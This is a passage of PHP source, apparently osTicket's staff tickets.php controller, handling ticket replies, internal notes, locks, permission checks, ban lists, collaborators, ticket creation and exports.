if (!$queue && ($qid=$cfg->getDefaultTicketQueueId()))
        $queue = SavedQueue::lookup($qid);

if (!$queue && $queues)
        list($queue,) = $queues[0];

if ($queue) {
        // Set the queue_id for navigation to turn a top-level item bold
        $_REQUEST['queue'] = $queue->getId();
        // Make the current queue sticky
         $_SESSION[$queue_key] = $queue->getId();
    }
}

// Configure form for file uploads
$response_form = new SimpleForm(array(
    'attachments' => new FileUploadField(array('id'=>'attach',
        'name'=>'attach:response',
        'configuration' => array('extensions'=>'')))
));
$note_form = new SimpleForm(array(
    'attachments' => new FileUploadField(array('id'=>'attach',
        'name'=>'attach:note',
        'configuration' => array('extensions'=>'')))
));

//At this stage we know the access status. we can process the post.
if($_POST && !$errors):

if($ticket && $ticket->getId()) {
        //More coffee please.
        $errors=array();
        $lock = $ticket->getLock(); //Ticket lock if any
        $role = $ticket->getRole($thisstaff);
        $dept = $ticket->getDept();
        $isManager = $dept->isManager($thisstaff); //Check if Agent is Manager
        switch(strtolower($_POST['a'])):
        case 'reply':
            if (!$role || !$role->hasPerm(Ticket::PERM_REPLY)) {
                $errors['err'] = __('Action denied. Contact admin for access');
            } else {
                $vars = $_POST;
                $vars['files'] = $response_form->getField('attachments')->getFiles();
                $vars['response'] = ThreadEntryBody::clean($vars['response']);
                if(!$vars['response'])
                    $errors['response']=__('Response required');

if ($cfg->isTicketLockEnabled()) {
                    if (!$lock) {
                        $errors['err'] = sprintf('%s %s', __('This action requires a lock.'), __('Please try again!'));
                    }
                    // Use locks to avoid double replies
                    elseif ($lock->getStaffId()!=$thisstaff->getId()) {
                        $errors['err'] = __('Action Denied. Ticket is locked by someone else!');
                    }
                    // Attempt to renew the lock if possible
                    elseif (($lock->isExpired() && !$lock->renew())
                        ||($lock->getCode() != $_POST['lockCode'])
                    ) {
                        $errors['err'] = sprintf('%s %s', __('Your lock has expired.'), __('Please try again!'));
                    }
                }

//Make sure the email is not banned
                if(!$errors['err'] && Banlist::isBanned($ticket->getEmail()))
                    $errors['err']=__('Email is in banlist. Must be removed to reply.');
            }

$alert =  strcasecmp('none', $_POST['reply-to']);
            if (!$errors) {
                // Add new collaborators (if any)
                $_errors = array();
                if (isset($vars['ccs']) && count($vars['ccs']))
                    $ticket->addCollaborators($vars['ccs'], array(), $_errors);
                // set status of collaborators
                if ($collabs = $ticket->getCollaborators()) {
                    foreach ($collabs as $collaborator) {
                        $cid = $collaborator->getUserId();
                        // Enable collaborators if they were reselected
                        if (!$collaborator->isActive() && ($vars['ccs'] && in_array($cid, $vars['ccs'])))
                            $collaborator->setFlag(Collaborator::FLAG_ACTIVE, true);
                        // Disable collaborators if they were unchecked
                        elseif ($collaborator->isActive() && (!$vars['ccs'] || !in_array($cid, $vars['ccs'])))
                            $collaborator->setFlag(Collaborator::FLAG_ACTIVE, false);
                        $collaborator->save();
                    }
                }
            }
            if (!$errors && ($response=$ticket->postReply($vars, $errors,
                            $alert))) {
                $msg = sprintf(__('%s: Reply posted successfully'),
                        sprintf(__('Ticket #%s'),
                            sprintf('<a href="tickets.php?id=%d"><b>%s</b></a>',
                                $ticket->getId(), $ticket->getNumber()))
                        );

// Clear attachment list
                $response_form->setSource(array());
                $response_form->getField('attachments')->reset();

// Remove staff's locks
                $ticket->releaseLock($thisstaff->getId());

// Cleanup response draft for this user
                Draft::deleteForNamespace(
                    'ticket.response.' . $ticket->getId(),
                    $thisstaff->getId());

if ($ticket->isClosed())
                    $ticket = null;

$redirect = 'tickets.php';
                if ($ticket && $thisstaff->getReplyRedirect() == 'Ticket')
                    $redirect = 'tickets.php?id='.$ticket->getId();

} elseif (!$errors['err']) {
                $errors['err']=sprintf('%s %s',
                    __('Unable to post the reply.'),
                    __('Correct any errors below and try again.'));
            }
            break;
        case 'postnote': /* Post Internal Note */
            $vars = $_POST;
            $vars['files'] = $note_form->getField('attachments')->getFiles();
            $vars['note'] = ThreadEntryBody::clean($vars['note']);

if ($cfg->isTicketLockEnabled()) {
                if (!$lock) {
                    $errors['err'] = sprintf('%s %s', __('This action requires a lock.'), __('Please try again!'));
                }
                // Use locks to avoid double replies
                elseif ($lock->getStaffId()!=$thisstaff->getId()) {
                    $errors['err'] = __('Action Denied. Ticket is locked by someone else!');
                }
                elseif ($lock->getCode() != $_POST['lockCode']) {
                    $errors['err'] = sprintf('%s %s', __('Your lock has expired.'), __('Please try again!'));
                }
            }

$wasOpen = ($ticket->isOpen());
            if(($note=$ticket->postNote($vars, $errors, $thisstaff))) {

$msg = sprintf(__('%s: %s posted successfully'),
                        sprintf(__('Ticket #%s'),
                            sprintf('<a href="tickets.php?id=%d"><b>%s</b></a>',
                                $ticket->getId(), $ticket->getNumber())),
                        __('Internal note')
                        );
                // Clear attachment list
                $note_form->setSource(array());
                $note_form->getField('attachments')->reset();

// Remove staff's locks
                $ticket->releaseLock($thisstaff->getId());

if($wasOpen && $ticket->isClosed())
                    $ticket = null; //Going back to main listing.
                else
                    // Ticket is still open -- clear draft for the note
                    Draft::deleteForNamespace('ticket.note.'.$ticket->getId(),
                        $thisstaff->getId());

$redirect = 'tickets.php';
                 if ($ticket)
                     $redirect ='tickets.php?id='.$ticket->getId();

} else {

if(!$errors['err'])
                    $errors['err'] = __('Unable to post internal note - missing or invalid data.');

$errors['postnote'] = sprintf('%s %s',
                    __('Unable to post the note.'),
                    __('Correct any errors below and try again.'));
            }
            break;
        case 'edit':
        case 'update':
            if(!$ticket || !$role->hasPerm(Ticket::PERM_EDIT))
                $errors['err']=__('Permission Denied. You are not allowed to edit tickets');
            elseif($ticket->update($_POST,$errors)) {
                $msg=__('Ticket updated successfully');
                $redirect = 'tickets.php?id='.$ticket->getId();
                $_REQUEST['a'] = null; //Clear edit action - going back to view.
                //Check to make sure the staff STILL has access post-update (e.g dept change).
                if(!$ticket->checkStaffPerm($thisstaff))
                    $ticket=null;
            } elseif(!$errors['err']) {
                $errors['err']=sprintf('%s %s',
                    sprintf(__('Unable to update %s.'), __('this ticket')),
                    __('Correct any errors below and try again.')
                );
            }
            break;
        case 'process':
            switch(strtolower($_POST['do'])):
                case 'claim':
                    if(!$role->hasPerm(Ticket::PERM_EDIT)) {
                        $errors['err'] = __('Permission Denied. You are not allowed to assign/claim tickets.');
                    } elseif(!$ticket->isOpen()) {
                        $errors['err'] = __('Only open tickets can be assigned');
                    } elseif($ticket->isAssigned()) {
                        $errors['err'] = sprintf(__('Ticket is already assigned to %s'),$ticket->getAssigned());
                    } elseif ($ticket->claim()) {
                        $msg = __('Ticket is now assigned to you!');
                    } else {
                        $errors['err'] = sprintf('%s %s', __('Problems assigning the ticket.'), __('Please try again!'));
                    }
                    break;
                case 'overdue':
                    if(!$dept || !$isManager) {
                        $errors['err']=__('Permission Denied. You are not allowed to flag tickets overdue');
                    } elseif($ticket->markOverdue()) {
                        $msg=sprintf(__('Ticket flagged as overdue by %s'),$thisstaff->getName());
                        $ticket->logActivity(__('Ticket Marked Overdue'),$msg);
                    } else {
                        $errors['err']=sprintf('%s %s', __('Problems marking the the ticket overdue.'), __('Please try again!'));
                    }
                    break;
                case 'banemail':
                    if (!$thisstaff->hasPerm(Email::PERM_BANLIST)) {
                        $errors['err']=__('Permission Denied. You are not allowed to ban emails');
                    } elseif(BanList::includes($ticket->getEmail())) {
                        $errors['err']=__('Email already in banlist');
                    } elseif(Banlist::add($ticket->getEmail(),$thisstaff->getName())) {
                        $msg=sprintf(__('Email %s added to banlist'),$ticket->getEmail());
                    } else {
                        $errors['err']=__('Unable to add the email to banlist');
                    }
                    break;
                case 'unbanemail':
                    if (!$thisstaff->hasPerm(Email::PERM_BANLIST)) {
                        $errors['err'] = __('Permission Denied. You are not allowed to remove emails from banlist.');
                    } elseif(Banlist::remove($ticket->getEmail())) {
                        $msg = __('Email removed from banlist');
                    } elseif(!BanList::includes($ticket->getEmail())) {
                        $warn = __('Email is not in the banlist');
                    } else {
                        $errors['err']=sprintf('%s %s', __('Unable to remove the email from banlist.'), __('Please try again!'));
                    }
                    break;
                case 'changeuser':
                    if (!$role->hasPerm(Ticket::PERM_EDIT)) {
                        $errors['err']=__('Permission Denied. You are not allowed to edit tickets');
                    } elseif (!$_POST['user_id'] || !($user=User::lookup($_POST['user_id']))) {
                        $errors['err'] = __('Unknown user selected');
                    } elseif ($ticket->changeOwner($user)) {
                        $msg = sprintf(__('Ticket ownership changed to %s'),
                            Format::htmlchars($user->getName()));
                    } else {
                        $errors['err'] = sprintf('%s %s', __('Unable to change ticket ownership.'), __('Please try again!'));
                    }
                    break;
                case 'addcc':
                    if (!$role->hasPerm(Ticket::PERM_EDIT)) {
                        $errors['err']=__('Permission Denied. You are not allowed to add collaborators');
                    } elseif (!$_POST['user_id'] || !($user=User::lookup($_POST['user_id']))) {
                        $errors['err'] = __('Unknown user selected');
                  } elseif ($c2 = $ticket->addCollaborator($user, array(), $errors)) {
                        $c2->setFlag(Collaborator::FLAG_CC, true);
                        $c2->save();
                        $msg = sprintf(__('Collaborator %s added'),
                            Format::htmlchars($user->getName()));
                    }
                    else {
                      $errors['err'] = sprintf('%s %s', __('Unable to add collaborator.'), __('Please try again!'));
                    }
                    break;
                default:
                    $errors['err']=__('You must select action to perform');
            endswitch;
            break;
        default:
            $errors['err']=__('Unknown action');
        endswitch;
    }elseif($_POST['a']) {

switch($_POST['a']) {
            case 'open':
                $ticket=null;
                if (!$thisstaff ||
                        !$thisstaff->hasPerm(Ticket::PERM_CREATE, false)) {
                     $errors['err'] = sprintf('%s %s',
                             sprintf(__('You do not have permission %s'),
                                 __('to create tickets')),
                             __('Contact admin for such access'));
                } else {
                    $vars = $_POST;

if ($vars['uid'] && !($user=User::lookup($vars['uid'])))
                        $vars['uid'] = 0;

$vars['files'] = $response_form->getField('attachments')->getFiles();

if(($ticket=Ticket::open($vars, $errors))) {
                        $msg=__('Ticket created successfully');
                        $redirect = 'tickets.php?id='.$ticket->getId();
                        $_REQUEST['a']=null;
                        if (!$ticket->checkStaffPerm($thisstaff) || $ticket->isClosed())
                            $ticket=null;
                        Draft::deleteForNamespace('ticket.staff%', $thisstaff->getId());
                        // Drop files from the response attachments widget
                        $response_form->setSource(array());
                        $response_form->getField('attachments')->reset();
                        $_SESSION[':form-data'] = null;
                        // Regenerate Session ID
                        $thisstaff->regenerateSession();
                    } elseif(!$errors['err']) {
                        // ensure that we retain the tid if ticket is created from thread
                        if ($_SESSION[':form-data']['ticketId'] || $_SESSION[':form-data']['taskId'])
                            $_GET['tid'] = $_SESSION[':form-data']['ticketId'] ?: $_SESSION[':form-data']['taskId'];

$errors['err']=sprintf('%s %s',
                            __('Unable to create the ticket.'),
                            __('Correct any errors below and try again.'));
                    }
                }
                break;
        }
    }
    if(!$errors)
        $thisstaff ->resetStats(); //We'll need to reflect any changes just made!
endif;

if ($redirect) {
    if ($msg)
        Messages::success($msg);
    Http::redirect($redirect);
}

// Clear advanced search upon request
if (isset($_GET['clear_filter']))
    unset($_SESSION['advsearch']);

//Navigation
$nav->setTabActive('tickets');
$nav->addSubNavInfo('jb-overflowmenu', 'customQ_nav');

// Start with all the top-level (container) queues
foreach ($queues as $_) {
    list($q, $children) = $_;
    if ($q->isPrivate())
        continue;
    $nav->addSubMenu(function() use ($q, $queue, $children) {
        // A queue is selected if it is the one being displayed. It is
        // "child" selected if its ID is in the path of the one selected
        $_selected = ($queue && $queue->getId() == $q->getId());
        $child_selected = $queue
            && ($queue->parent_id == $q->getId()
                || false !== strpos($queue->getPath(), "/{$q->getId()}/"));
        include STAFFINC_DIR . 'templates/queue-navigation.tmpl.php';

return ($child_selected || $_selected);
    });
}

// Add my advanced searches
$nav->addSubMenu(function() use ($queue) {
    global $thisstaff;
    $selected = false;
    // A queue is selected if it is the one being displayed. It is
    // "child" selected if its ID is in the path of the one selected
    $child_selected = $queue instanceof SavedSearch;
    include STAFFINC_DIR . 'templates/queue-savedsearches-nav.tmpl.php';
    return ($child_selected || $selected);
});

if ($thisstaff->hasPerm(Ticket::PERM_CREATE, false)) {
    $nav->addSubMenu(array('desc'=>__('New Ticket'),
                           'title'=> __('Open a New Ticket'),
                           'href'=>'tickets.php?a=open',
                           'iconclass'=>'newTicket',
                           'id' => 'new-ticket'),
                        (isset($_REQUEST['a']) && $_REQUEST['a']=='open'));
}

$ost->addExtraHeader('<script type="text/javascript" src="js/ticket.js?724de45"></script>');
$ost->addExtraHeader('<script type="text/javascript" src="js/thread.js?724de45"></script>');
$ost->addExtraHeader('<meta name="tip-namespace" content="tickets.queue" />',
    "$('#content').data('tipNamespace', 'tickets.queue');");

if($ticket) {
    $ost->setPageTitle(sprintf(__('Ticket #%s'),$ticket->getNumber()));
    $nav->setActiveSubMenu(-1);
    $inc = 'ticket-view.inc.php';
    if ($_REQUEST['a']=='edit'
            && $ticket->checkStaffPerm($thisstaff, Ticket::PERM_EDIT)) {
        $inc = 'ticket-edit.inc.php';
        if (!$forms) $forms=DynamicFormEntry::forTicket($ticket->getId());
        // Auto add new fields to the entries
        foreach ($forms as $f) {
            $f->filterFields(function($f) { return !$f->isStorable(); });
            $f->addMissingFields();
        }
    } elseif($_REQUEST['a'] == 'print') {
        if (!extension_loaded('mbstring'))
            $errors['err'] = sprintf('%s %s',
                'mbstring',
                __('extension required to print ticket to PDF'));
        elseif (!$ticket->pdfExport($_REQUEST['psize'], $_REQUEST['notes'], $_REQUEST['events']))
            $errors['err'] = __('Unable to export the ticket to PDF for print.')
                .' '.__('Internal error occurred');
    } elseif ($_GET['a'] == 'zip' && !$ticket->zipExport($_REQUEST['notes'], $_REQUEST['tasks'])) {
        $errors['err'] = __('Unable to export the ticket to ZIP.')
            .' '.__('Internal error occurred');
    } elseif (PluginManager::auditPlugin() && $_REQUEST['a'] == 'export' && strtolower($_REQUEST['t']) == 'audits') {
      require_once(sprintf('phar:///%s/plugins/audit.phar/class.audit.php', INCLUDE_DIR));
      $show = AuditEntry::$show_view_audits;
      $filename = sprintf('%s-audits-%s.csv',
              $ticket->getNumber(), date('Ymd'));
      $tableInfo = AuditEntry::getTableInfo($ticket, true);
      if (!Export::audits('ticket', $filename, $tableInfo, $ticket, 'csv', $show))
          $errors['err'] = __('Unable to dump query results.')
              .' '.__('Internal error occurred');
    }
} else {
    $inc = 'templates/queue-tickets.tmpl.php';
    if ((isset($_REQUEST['a']) && $_REQUEST['a']=='open') &&
            $thisstaff->hasPerm(Ticket::PERM_CREATE, false)) {
        $inc = 'ticket-open.inc.php';
    } elseif ($queue) {
        // XXX: Check staff access?
        $quick_filter = @$_REQUEST['filter'];
        $tickets = $queue->getQuery(false, $quick_filter);
    }

//set refresh rate if the user has it configured
    if(!$_POST && !isset($_REQUEST['a']) && ($min=(int)$thisstaff->getRefreshRate())) {
        $js = "+function(){ var qq = setInterval(function() { if ($.refreshTicketView === undefined) return; clearInterval(qq); $.refreshTicketView({$min}*60000); }, 200); }();";
        $ost->addExtraHeader('<script type="text/javascript">'.$js.'</script>',
            $js);
    }
}

require_once(STAFFINC_DIR.'header.inc.php');
require_once(STAFFINC_DIR.$inc);
print $response_form->getMedia();
require_once(STAFFINC_DIR.'footer.inc.php');

${this.title}

Code Editor : tickets.php